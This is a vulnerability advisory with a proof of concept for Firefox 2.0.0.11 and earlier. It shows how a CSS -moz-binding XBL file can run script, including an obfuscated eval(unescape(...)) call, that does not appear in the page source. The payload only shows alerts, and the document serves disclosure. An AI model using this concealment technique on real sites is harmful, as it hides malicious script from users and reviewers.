########################## WwW.BugReport.ir ########################
#
# AmnPardaz Security Research Team
#
# Bug Title: Mozilla Firefox 2.0.0.11 Hide The Source Code
# Vendor URL: www.mozilla.org
# Version: <= 2.0.0.11
# Soloution: N/A
#
######################### WwW.AmnPardaz.com ########################
####################
- Description:
####################
To do this work we need 2 files (Html,XML).
Their codes was written below.
Save below codes in a HTML file.
--------------------------------------------------------------------
--------------------------------------------------------------------
<html>
<head>
<style>BODY{-moz-binding:url("moz.xml#xss")}</style>
</head>
<body>
1- Do you see any Source Code by viewing the page source? No!
<script>
alert('Soroush Dalili from BugReport.IR has something new for you! - Maybe there are some malicious codes instead of my name!')
</script>
</body>
</html>
--------------------------------------------------------------------
--------------------------------------------------------------------
Then save below codes in "moz.xml" file.
--------------------------------------------------------------------
--------------------------------------------------------------------
<?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl">
<binding id="xss">
<implementation>
<constructor><![CDATA[
document.write('2 - Do you see any Source Code by viewing the page source? No! Your browser "Mozilla Firefox 2.0.0.11" is looking for something!')
eval(unescape('%61%6c%65%72%74%28%27%54%68%69%73%20%69%73%20%6e%65%77%20%70%61%67%65%2e%20%77%68%65%72%65%20%69%73%20%70%61%67%65%20%31%3f%20%77%68%65%72%65%20%61%72%65%20%74%68%65%20%73%6f%75%72%63%65%20%63%6f%64%65%20%6f%66%20%70%61%67%65%20%31%20%61%6e%64%20%70%61%67%65%20%32%3f%27%29'));
]]></constructor>
</implementation>
</binding>
</bindings>
--------------------------------------------------------------------
--------------------------------------------------------------------
Now by runnig the HTML file by Mozilla FireFox <= 2.0.0.11 it will work!
####################
- Credit :
####################
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com